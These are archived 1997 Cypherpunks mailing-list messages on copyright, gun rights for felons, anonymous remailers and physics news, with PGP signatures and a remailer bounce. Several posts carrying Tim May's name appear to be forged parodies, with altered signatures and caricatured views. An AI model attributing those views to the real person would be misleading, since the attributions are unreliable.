Received: from smtp.sk.sympatico.ca (lohner48.sk.sympatico.ca
[142.165.98.48]) by wombat.sk.sympatico.ca with SMTP (8.7.1/8.7.1) id
PAA16117 for cypherpunks@toad.com; Wed, 2 Jul 1997 15:34:01 -0600 (CST)
Message-Id: <199707022134.PAA16117@wombat.sk.sympatico.ca>
Date: Wednesday, 02 Jul 97 15:37:06 EST
To: cypherpunks@toad.com
From: nobody@huge.cajones.com (BigNuts)
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#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <ssandfort@ATTMAIL.COM>
Date: Thu, 3 Jul 1997 07:40:08 +0800
To: cypherpunks@toad.com
Subject: Re: Liberating the Bits
Message-ID: <199707022250.QAA25437@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



BigNuts wrote:
>  I can understand that Tim May wants to hang on to the mountain of
>cash that was made possible by his company's software copyrights, 
>but I am surprised that he seems so boastful about denying others
>any compensation for their ideas, talent, and labour.

  I have to agree with Tim that ideas have no worth and we should
not compensate those that share them. Once anything is made public
it should be up for grabs by anyone who wants to use it for any
purpose they desire.
  Enforcement of copyright laws only denies the world access to
such treasures as "Cyhpernomicon" by Toto, which I recently 
found on a few websites. It had pointers to where one could
purchase the "Official CypherPunk" T-shirts and mugs, as well
as information about how to make donations to Toto's "GreenPeace"
foundation.

"All your private property is target for your enemies."
   -Jefferson Airplane

There's something wrong when Kent Crispin is not 
a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Sandy Sandfort            | Crypto Anarchy: encryption, digital money,
ssandfort@ATTMAIL.COM     | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA| knowledge, reputations, information markets,
Higher Power: 2^1398269   | black markets, collapse of governments.
"Reputation Capital isn't even a speed bump to Identity highway
robbery."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Thu, 3 Jul 1997 05:16:10 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Copyright / Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <Pine.LNX.3.91.970702180139.648A-100000@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.94.970702164600.10082B-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, Paul Bradley wrote:

> >   Technology may well enable us to take the product and give
> > nothing in return to those who made it available, but doing so
> > will not further our own beliefs and aims to any extent.
> 
> Again, this is the right way to think of "intellectual property", not as 
> real tangiable property which can, or even should be protected, but as a 
> bond of trust between provider and end user, if you rip off a copy of my 
> s/w and decide you like it, why not buy a copy? The same is true of 
> music, source code, hard-copy books etc...

This is why I favor copylefting all information, software and otherwise. If
a computer program is copyrighted it cannot be easily shared or improved,
while copyleft encourages this. Same for music, texts and other works -- if
a song is released under the terms of the GNU GPL or similar copyleft, I am
free to copy and modify that song as I see fit, which includes making DATs,
burning my own CDs and performing improvisations to the song (whose
transcriptions could be likened to its "source code," of which I am free to
improve upon as I see fit). The artist can be supported by purchasing hard
copy of the music (CDs etc) from her/him, as well as posters, t-shirts and
other paraphernalia (as well as outright donation), but I am no longer
restricted by the scourge of copyright law and the fictitious construct of
"intellectual property" in my thoughts and communications about the work; I
am free to share my thoughts and communications with others.


Michael Stutz
http://dsl.org/m/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 3 Jul 1997 01:22:19 +0800
To: Tim May <tcmay@got.net>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v03102805afdee15fe080@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.970702171335.474C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> - Hanging--very quick and very painless (the neck is snapped, and
> consciousness vanishes)

Actually it was only relatively recently that this became the case, I 
believe it was either William Calcraft or one of the Pierrepont family 
who perfected the drop calculation method of hanging (both families were 
British executioners, Calcraft at Newgate prison and the Pierreponts at 
various places over a long period of time), before that it was quite 
common for the condemned to either choke to death if the drop was too 
short, or to be beheaded if it was too long. Newgate prison is 
incidentally the same place where as late as 1789 people were burnt to 
death for witchcraft, sophisticated England huh? ;-)... 

> - Electrocution--originally designed to render subject unconscious almost
> immediately. Whether it does this merits discussion, but the original
> intent was surely for a "scientific" fast death (just as the guillotine was
> similarly designed)

I don`t know the exact figure but I seem to remember a US execution using 
the electric chair which took over 40 minutes to complete? I believe a 
typical time from current on to unconsciousness is around 2 minutes?

> >I can see the point of view which accepts serving of sentence as being
> >the end of punishment, and I do not accept a ban on firearms as being
> >implicit in the commision of a felony, but if a court explicitly states
> >that part of the punishment should be a X year or lifetime ban I can
> >accept that.
> 
> Does this mean that you would "accept" a wording which took away a released
> convict's ability to speak freely, or to practice the religion of his
> choice?

No, speech or practice of religion are not of the same ilk as the right 
to own firearms, I am definitely on thin ice here, and I admit I am not 
entirely certain of my own perspective, BUT I cannot see how someone 
convicted of armed robbery should be allowed the right to own firearms again.
A person convicted of a violent armed crime is just not in the same 
league as an innocent citizen, and should not have the same rights.

 
> ("Upon completion of your 6-month sentence for public blasphemy, you 
> must renounce Baalism and accept the religion so ordered by the court.")
> 
> Why is this any different from taking away Second Amendment rights? 

See the above, I refer you to the danger of a person who has already 
proven their disregard for the rights of others being allowed to own weapons.

> But how does a lifetime, blanket ban on possession of firearms--i.e., a 
> complete denial of Second Amendment rights--for any of tens of thousands
> of claimed "felonies" fit with this "compelling need" model? What's the
> compelling need for the state to deny Second Amendment rights for life
> to someone convicted of fraud or money laundering? 

Tim, you are either taking me out of context or overgeneralising my 
statement, as I know you are not of the second persuation I will assume 
the first and re-iterate that I do not believe in the restriction of 
second ammendment rights for people convicted of felonies in general, 
only for those convicted of serious violent crimes. And I do not believe 
in a lifetime blanket ban, ie. "All convicted armed robbers shall never 
be allowed to posess firearms again", I believe a court should be able to 
use its own discretion to decide a fitting punishment, ie. "You shall be 
sentenced to 5 years imprisonment and a 10 year ban on ownership of 
firearms".


> The compelling need appears to be related to the general trend of 
> disarming as many of the marks as possible, as soon as possible. 
> (I understand, Paul, that you are not a U.S. citizen, but this is the 
> framework for the current discussion.) 

This is an evident trend in most of the world, with the UK following the 
path of the US. For many years it has been the case that on the commision 
of any crime, even for example drink-driving, or common assult (a UK 
offence classification for the most trivial of assult cases, ie. hitting 
someone), the right to own guns is immediately removed and never 
returned, even when the offence is spent under the rehabilitation act. I 
recall my own father having trouble obtaining a firearms licence some 
years ago because of a drink-drive conviction some 20 years earlier...

I will state once more though, and attempt not to post again on this 
thread as I don`t want a flame war, that I do not support or condone 
general loss of 2nd ammendment rights for any and all felonies in 
general, only for serious violent crimes and then at the discretion of a 
court and not as some pre-set standard penalty.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 3 Jul 1997 11:52:19 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: random remailer forwarding (Was: Jeff's Side of the Story.)
In-Reply-To: <19970702100000.40925@bywater.songbird.com>
Message-ID: <3.0.2.32.19970702174350.0311cbf4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 03:32 PM 7/2/97 -0400, Ryan Anderson wrote:
>Well, to make the remailers more intelligent, have them count incoming
>mail from the list of remailers participating in the system.  (either that
>or a rate)  when one remailer seems to be sending much more mail than the
>others (which shouldn't happen if all remailers are randomly distributing
>the mail to each other)  you automatically do the random forward to
>another remailer.

That's a way to guarantee that the remailers that aren't working
get more of the traffic.....

:-)

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM7r1xfthU5e7emAFAQHsCwH/eB0TRsFrGQZEmbeVmjENFRdFgPjAVJ3+
g5gwuraubYuU4XRtv7n6H/RDpfJLeljfknP4CYGQa5PTUqxTqk8FVw==
=a3Fs
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 3 Jul 1997 09:18:40 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v03102805afdee15fe080@[207.167.93.63]>
Message-ID: <19970702180331.11847@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 02, 1997 at 08:50:25PM -0400, frissell@panix.com wrote:
>At 05:32 PM 7/2/97 +0000, Paul Bradley wrote:
>>No, speech or practice of religion are not of the same ilk as the right 
>>to own firearms, I am definitely on thin ice here, and I admit I am not 
>>entirely certain of my own perspective, BUT I cannot see how someone 
>>convicted of armed robbery should be allowed the right to own firearms 
>again.
>>A person convicted of a violent armed crime is just not in the same 
>>league as an innocent citizen, and should not have the same rights.
>
>Quite simple.  Eliminate prison, encourage everyone to carry weapons, wait 6 
>months, then well behaved people will predominate and many of the maladjusted 
>will find themselves well-adjusted or dead.

Along with a far larger number of well-adjusted innocents.  And the 
maladjusted who aren't dead will be in power.

>Rough 6 months.  Try to spend it in the South of France.
>
>This may be the de facto eventuality as nanotech develops.  If the soccer 
>moms are afraid of assault rifles, how will they react to the nastiness you 
>will be able to gin up from you desktop fab station in a few years.

No question about it, the only hope for the human race is wide
dispersal.  Everybody should join the L5 society, if it still exists,
or become a terrorist Luddite, and bomb us back to the stone age.

But the Earth is doomed, anyway, in 5 billion years.  And we have
either the grand crunch or the heat death of the universe to contend
with after that.  Hopeless.

"The root of greed is fear."

"There is something right when Kent Crispin is not a felon under an 
increasing number of laws."

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 3 Jul 1997 03:33:28 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: Copyright / Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: <Pine.LNX.3.91.970702180139.648A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




>  As a recording musician I expected to get money for my recordings,
> just as everyone else in the chain of business did in making my
> music available to the end-user. (And just as a grocer who makes
> food available to his customers expects you to leave something in
> the till on your way out of the store.)

You draw incorrect paralells between the physical medium and the data 
encoded on it.

>  I have never had any problem with someone recording a copy of my
> music from a purchased copy if they are a music lover with a thin
> pocket, or can't readily purchase it. If someone with a $2000.00
> stereo wants to enjoy the fruits of my labor without contributing
> any money to my health and welfare, then I consider them to be just
> another thief.

Theivery doesn`t come into it, you simply have no property rights over 
your speech. I can "say" whatever I want, that includes "saying" the same 
set of bits on a CD made by you, onto a tape or minidisc. Because MD and 
DAT are not yet common, and as Tim pointed out most consumer DAT boxes 
don`t copy original CDs or DATs, copying is less widespread than it could 
be; if I like an Artists work or a particular album I will buy it on CD 
because the quality is higher than copying to tape, and I don`t have a 
DAT machine (even if I did I wouldn`t find it useful as my main stereo is 
in my car). I don`t just say this; I do it, I have a lot of copied music 
which I listen to occasionally but all my favourite stuff (my large-ish 
collection of jazz and blues) is on original CD.

>   Buy it, if at all possible. If you download a copy on the net
> and can't afford $99.00, then send them $10.00, or $20.00, etc.
> If you can't afford to send them a nickle, then do what you can
> to promote their product. Provide pointers to their business,
> tell people about their products, etc.

I agree with this sentiment entirely: Copyright is not something to be 
enforced or condoned but if you do use someones work think about at least 
giving credit or making a donation on a voluntary basis, for one thing it 
helps stimulate the market.

>   Technology may well enable us to take the product and give
> nothing in return to those who made it available, but doing so
> will not further our own beliefs and aims to any extent.

Again, this is the right way to think of "intellectual property", not as 
real tangiable property which can, or even should be protected, but as a 
bond of trust between provider and end user, if you rip off a copy of my 
s/w and decide you like it, why not buy a copy? The same is true of 
music, source code, hard-copy books etc...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 3 Jul 1997 08:43:12 +0800
To: cypherpunks@toad.com
Subject: Re: Liberating the Bits
Message-ID: <33BAF064.B56@got.net>
MIME-Version: 1.0
Content-Type: text/plain



BigNuts wrote: 
> > On Tue, 1 Jul 1997, Tim May wrote:
> >
> > > Technology liberates the bits.
>
>   Tim gave excellent information on how one can go about using
> technology to enjoy the fruits of other people's labour without
> contributing toward the survival of those producing the things
> he enjoys.

  Anything that isn't nailed down, is mine.
  Anything that I can pry loose, isn't nailed down.

>   When I originally came up with the concept of BlackNet and
> anonymous remailers, I foresaw that my invention of Public Key
> Cryptography might help make it possible for ordinary people to reap
> the benefits of other peoples' ideas and hard work, without doing
> anything to contribute toward the survival of creative, productive
> people.

  Big deal. I was the first one to write about fire and the wheel
but you don't see me constantly reminding people about it.

>   I can understand that Tim May wants to hang on to the mountain of
> cash that was made possible by his company's software copyrights,
> but I am surprised that he seems so boastful about denying others
> any compensation for their ideas, talent, and labour.

  Hey! I got mine and I'm keeping it!
  Just because a bunch of gullible people believed my company's claim
that we owned the results of our creative ideas doesn't mean that I
have to be a sucker, too.

  People have no more right to deny others the free use of their
creative ideas than they do to deny others the free use of their
identities.
  Technology allows me to use other people's idea capital and their
reputation capital without compensating them and any attempt to deny
me my right to do so is an infringement on my freedom.

  Everything in the world is up for grabs and those who have the most
firepower get to take the goodies home. I have the latest in guns
and digital technology, so I can get and keep a lot of goodies.
  {BTW, if you grab all of the candy bags from all of the children
out Halloweening it doesn't matter if they don't come back next
year because there will always be new suckers to take their place.}

Theres something wrong when I'm a forger under an increasing number of
laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | identity anarchy: encryption, digital
money,
tcmay@got.net  408-728-0152 | anonymous identity, digital identities,
zero
W.A.S.T.E.: Corralitos, CA  | identity, reputations, identity markets,
Higher Power: 2^1398269     | black eyes, collapse of identity.
"Personal Identity isn't even a speed bump on the reputation capital
highway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 3 Jul 1997 09:18:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Japanese Balloon Bomb Special - Info
Message-ID: <199707030052.TAA12660@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

During the discussion of the Japanese Balloon Bomb's and their history I
mentioned a special on the Discovery Channel (TDC). That show is 'Discover
Magazine'.

                                                       Jim Choate
                                                       TAG
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 3 Jul 1997 09:27:45 +0800
To: tesla@ssz.com (Experimental Instrumentation)
Subject: update.328 (fwd)
Message-ID: <199707030056.TAA12725@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From physnews@aip.org Wed Jul  2 19:12:35 1997
Date: Wed, 2 Jul 97 11:02:31 EDT
From: physnews@aip.org (AIP listserver)
Message-Id: <9707021502.AA12498@aip.org>
To: physnews-mailing@aip.org
Subject: update.328

PHYSICS NEWS UPDATE                         
The American Institute of Physics Bulletin of Physics News
Number 328 July 2, 1997    by Phillip F. Schewe and Ben Stein

THE MARS PATHFINDER spacecraft arrives July 4 at its
destination where, after firing retrorockets and deploying a
parachute and numerous airbags, it will bounce to a halt on what
was probably an ancient floodplain.  After this, its missionary
rover will venture forth to taste rocks and make movies. The
local weather forecast calls for blue skies and wispy clouds with a
small chance of a dust storm (currently 600 miles to the south),
in which case the sky will be pink. In September another craft,
the Mars Global Surveyor, will take up orbit around Mars.  (For
the latest update, view the JPL website: mpfwww.jpl.nasa.gov/)

STORING AN OPTIMUM AMOUNT OF INFORMATION IN A
PHOTON or any other quantum particle is possible even in the
presence of noise, researchers have concluded (B. Schumacher et
al., Physical Review A, July 1997; A.S. Holevo, upcoming in
IEEE Transactions on Information Theory).  A photon has many
different quantum states, each of which can be made to represent a
different digit.  Furthermore, one can store many digits
simultaneously in a single photon by putting it into a combination
or "superposition" of many states.  However, quantum mechanics
prevents a measuring device from perfectly distinguishing between
all these different states.  Previously, physicists discovered that the
maximum amount of information that can be read from a photon
can be no greater than the amount of entropy, or disorder, it
acquires when a range of quantum states is created to represent
different digits.  Now, the researchers show that this upper limit can
be reached, even in a noisy environment, by utilizing several
strategies, such as employing only those quantum states that are
most distinguishable.  These findings provide insights into how little
energy is required to store a message.  (For more details, go to
www.aip.org/physnews/preview; Ben Schumacher, Kenyon
College, 614-427-5832)

HOLLOW NANOPARTICLE LUBRICANTS, consisting of
fullerene-like tungsten disulfide balls, have performed well in
friction and durability tests, and may be superior to other solid-state
lubricants, which usually come in powdered form.  The 100-nm
WS2 balls (much smaller than conventional powder grains, microns
across) are nested like some carbon nanotubes, but flexible.  This,
their chemical inertness, and the tendency to roll rather than slide
when pushed, should make the nanoparticles a good lubricant at the
micron scale, or as an additive in other lubricants. Scientists
working at the Weizmann Institute and at the Center for
Technological Education in Israel are now able to make gram
amounts of the lubricant.  (L. Rapoport et al., Nature, 19 June
1997.)

ONE MEASURE OF A NATION'S SCIENTIFIC STRENGTH is
the number of papers it generates and the citations those papers
receive.  For the period 1992-96, these were the top  producers of
papers in a select set of journals: US (1.3 million), UK (300,000),
Japan (281,000), and Germany (259,000).  Ranked according to
citations per paper, the order becomes Switzerland (5.66), US
(5.03), Netherlands (4.46), Sweden (4.38), and UK (4.19).
The EU nations lumped together and the US each have a 36% share
of total citations.  The general trend these past 15 years has been for
the US citation rate to remain high but for its citation share to give
ground to the EU and to Asian/Pacific nations.  (ISI ScienceWatch,
May/June; also Nature, 5 June 1997.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Thu, 3 Jul 1997 09:19:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Liberating the Bits
In-Reply-To: <33BAF064.B56@got.net>
Message-ID: <Pine.SOL.3.96.970702195826.12128F-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, Tim May wrote:

>   Hey! I got mine and I'm keeping it!
>   Just because a bunch of gullible people believed my company's claim
> that we owned the results of our creative ideas doesn't mean that I
> have to be a sucker, too.
> 

If you're willing to admit you got yours under false pretenses,
the rest of us would like to have it back. Now.

MacN





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 3 Jul 1997 10:38:25 +0800
To: cypherpunks@toad.com
Subject: Test 3
Message-ID: <199707030216.UAA19578@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Test name/spaces no quotes





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 3 Jul 1997 09:29:58 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <19970702180331.11847@bywater.songbird.com>
Message-ID: <199707030120.UAA20220@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <19970702180331.11847@bywater.songbird.com>, on 07/02/97 
   at 06:03 PM, Kent Crispin <kent@songbird.com> said:

>"There is something right when Kent Crispin is not a felon under an 
>increasing number of laws."

Just goes to show that you can goose-step with the best of them Kent.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7r+t49Co1n+aLhhAQG1MgP/aX1pinHLHw+H2883L2jLE4B8WUG4Xsjn
zdei4cc1vnHP0ZQQtmhZugYrj1mRkp3Av97MOtMydsc4ZLgNMad71OkYfW6DEkBY
nlgdmZIPFirjwqGprQRRcesLpiWAGy/3WIgwOGW/THnMixOrCbb6LZdTbd6yQpKW
14b3DbwzW7w=
=Mumc
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Thu, 3 Jul 1997 09:00:45 +0800
To: Paul Bradley <tcmay@got.net>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v03102805afdee15fe080@[207.167.93.63]>
Message-ID: <3.0.2.32.19970702205025.03d40f54@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 05:32 PM 7/2/97 +0000, Paul Bradley wrote:
>No, speech or practice of religion are not of the same ilk as the right 
>to own firearms, I am definitely on thin ice here, and I admit I am not 
>entirely certain of my own perspective, BUT I cannot see how someone 
>convicted of armed robbery should be allowed the right to own firearms 
again.
>A person convicted of a violent armed crime is just not in the same 
>league as an innocent citizen, and should not have the same rights.

Quite simple.  Eliminate prison, encourage everyone to carry weapons, wait 6 
months, then well behaved people will predominate and many of the maladjusted 
will find themselves well-adjusted or dead.

Rough 6 months.  Try to spend it in the South of France.

This may be the de facto eventuality as nanotech develops.  If the soccer 
moms are afraid of assault rifles, how will they react to the nastiness you 
will be able to gin up from you desktop fab station in a few years.

DCF

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM7r3UIVO4r4sgSPhAQHshAQAlVEXSi7VU/pKr9dnRmid7BjIqL8DKvzj
jXS0DDs4qZRagFolKlu7FuC4QaLwCO9mhBoP9VWXheECOAp5ahZc6Co0AvlJHiQf
Gfdgz7obRF5ZcRGu14tVNajZ8BLnXf1rX9RVwI6LO5XpLZXhi5Me6FC530bu1X7Z
02dB9BxNNyQ=
=XgnA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 3 Jul 1997 11:25:23 +0800
To: cypherpunks@toad.com
Subject: Test 4
Message-ID: <199707030253.UAA24549@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Test / multiple posts

Subject: 
        Returned mail: unknown mailer error 2
  Date: 
        Thu, 3 Jul 1997 03:33:44 +0200 (MET DST)
  From: 
        Mail Delivery Subsystem <MAILER-DAEMON@basement.replay.com>
    To: 
        <wombat@bc.sympatico.ca>


The original message was received at Thu, 3 Jul 1997 03:33:42 +0200 (MET
DST)
from wombat.sk.sympatico.ca [142.165.5.136]

   ----- The following addresses had permanent fatal errors -----
"|/usr/home/replay/.mixmaster/mixmaster -R |
/usr/home/replay/.remailer/remailer || exit 75"
    (expanded from: <remailer@REPLAY.COM>)

   ----- Transcript of session follows -----
Cannot fork
554 "|/usr/home/replay/.mixmaster/mixmaster -R |
/usr/home/replay/.remailer/remailer || exit 75"... unknown mailer error
2
Cannot fork

   ----- Original message follows -----

Return-Path: <wombat@bc.sympatico.ca>
Received: from wombat.sk.sympatico.ca (wombat.sk.sympatico.ca
[142.165.5.136])
        by basement.replay.com (8.8.5/RePlay, Inc.) with ESMTP id
DAA15223
        for <remailer@REPLAY.COM>; Thu, 3 Jul 1997 03:33:42 +0200 (MET
DST)
Received: from default (lohner31.sk.sympatico.ca [142.165.98.31]) by
wombat.sk.sympatico.ca with SMTP (8.7.1/8.7.1) id TAA13669 for
<remailer@REPLAY.COM>; Wed, 2 Jul 1997 19:30:20 -0600 (CST)
Message-ID: <33BB013D.1242@sk.sympatico.ca>
Date: Wed, 02 Jul 1997 19:32:45 -0600
From: Rabid Wombat <wombat@bc.sympatico.ca>
Reply-To: wombat@bc.sympatico.ca
X-Mailer: Mozilla 3.01C-SYMPA  (Win95; U)
MIME-Version: 1.0
To: remailer@REPLAY.COM
Subject: Kent finally comes around / Re: NRA and National Online Records
Check bullshit
References: <v03102805afdee15fe080@[207.167.93.63]>
<3.0.2.32.19970702205025.03d40f54@panix.com>
<19970702180331.11847@bywater.songbird.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

;;
Anon-To: cypherpunks@toad.com

Kent Crispin wrote:
> On Wed, Jul 02, 1997 at 08:50:25PM -0400, frissell@panix.com wrote:

> >Quite simple.  Eliminate prison, encourage everyone to carry weapons, wait 6
> >months, then well behaved people will predominate and many of the maladjusted
> >will find themselves well-adjusted or dead.
> 
> Along with a far larger number of well-adjusted innocents.  And the
> maladjusted who aren't dead will be in power.

  I believe you meant to say "will _remain_ in power."
 
> No question about it, the only hope for the human race is wide
> dispersal.  Everybody should join the L5 society, if it still exists,
> or become a terrorist Luddite, and bomb us back to the stone age.

  Are you finally coming around to a cypherpunk frame of mind, Kent,
or is this a cheap political ploy to get the "Cypherpunk of the Year"
award?
 
> But the Earth is doomed, anyway, in 5 billion years.  And we have
> either the grand crunch or the heat death of the universe to contend
> with after that.  Hopeless.

  The religious right is working to get a law passed to prevent this
from happening, since it is evolutionary hocus-pocus that goes against
belief in God as the Creator. The law will no doubt be nullified by
the Supreme Court as violating the separation of church and state.

> Kent Crispin                            "No reason to get excited",
> kent@songbird.com                       Tim May, he kindly spoke...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Tu <ATU5713@compuserve.com>
Date: Thu, 3 Jul 1997 10:37:05 +0800
To: Cypher Punks Mailing List <cypherpunks@toad.com>
Subject: What are the available anonymous remailers?
Message-ID: <199707022153_MC2-19AF-9D8A@compuserve.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi all,

I saw the address for this list in Jeff Licquia's PGP FAQ.  I haven't
subscribed to it heard, as the FAQ said traffic on this list could be 30-40
messages a day.  As I'm attempting to cut down the time I spend on
CompuServe...

Unfortunately, that means if you want to get a message to me, you'll have
to send it to me directly, you can't send it to the list.  My address is
atu5713@compuserve.com

My public key is included in this message.

Anyway, here comes my real question.  I am interested in finding an
easy-to-use no-nonsense anonymous remailer.  But anon.penet.fi seems to
have shut down.  I sent mail to ping@anon.penet.fi and help@anon.penet.fi
and I got a undeliverable message.  Could someone point me to a remailer?

Sincerely,

Alan Tu

Type Bits/KeyID    Date       User ID
pub  1024/E5D915E1 1997/04/27 Alan Tu <atu5713@compuserve.com>
                              Alan Tu <102534.2165@compuserve.com>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
Comment: Requires PGP version 2.6 or later.

mQCNAzNivkwAAAEEALdGUXD3j+RioIirVG46N6LaGD3YMMVVT5Mjwr5JojQsDICy
856I06Ugo/Fqid2A/os7v/gwE+Sj/WhMERgTsTejUZtsucTpS9sae+cc27Fjjq1l
hOnqcLZqnHDDNyn3+jesVFPLnRlSoHbmcBK1XDW/SJT1anZz55ezmBrl2RXhAAUR
tCBBbGFuIFR1IDxhdHU1NzEzQGNvbXB1c2VydmUuY29tPokAlQIFEDOguk6Xs5ga
5dkV4QEBBF8D/1B0ePqlMavWEUMP0uTmyvWFI7jooAcih6uHZFo2u+u3EzE2Is8X
EoLHg39DhjleTHPu6TnGsWIiwDYEslzYeVw/Cglx6eliYIr/qs7peEywuhtZsEFH
ln6yR9IE6rX3b3GCvPSQ5uPhXWrd2kWaZvG4rQ4Oj1m3yTrFaPRqCBPvtCRBbGFu
IFR1IDwxMDI1MzQuMjE2NUBjb21wdXNlcnZlLmNvbT4=
=fwyg
-----END PGP PUBLIC KEY BLOCK-----
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 3 Jul 1997 13:45:36 +0800
To: Alan <alano@teleport.com>
Subject: Re: Degaussing
In-Reply-To: <Pine.GSO.3.96.970702100619.20299F-100000@linda.teleport.com>
Message-ID: <Pine.3.89.9707022211.A15627-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



The Cypherpunks Shooting Club welcomes you each Sunday immediately 
following the monthly CP meeting. Except this August, when certain stalwart
members of the club will be at HIP'97. :-)

-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

On Wed, 2 Jul 1997, Alan wrote:

> On Tue, 1 Jul 1997, Bill Frantz wrote:
> 
> > 
> > At 10:02 PM -0700 7/1/97, Alan Olsen wrote:
> > >At 02:17 AM 7/2/97 -0000, Secret Squirrel wrote:
> > >>
> > >>Could someone please point me to a FAQ or somesuch about degaussing
> > >>magnetic media? Thank you!
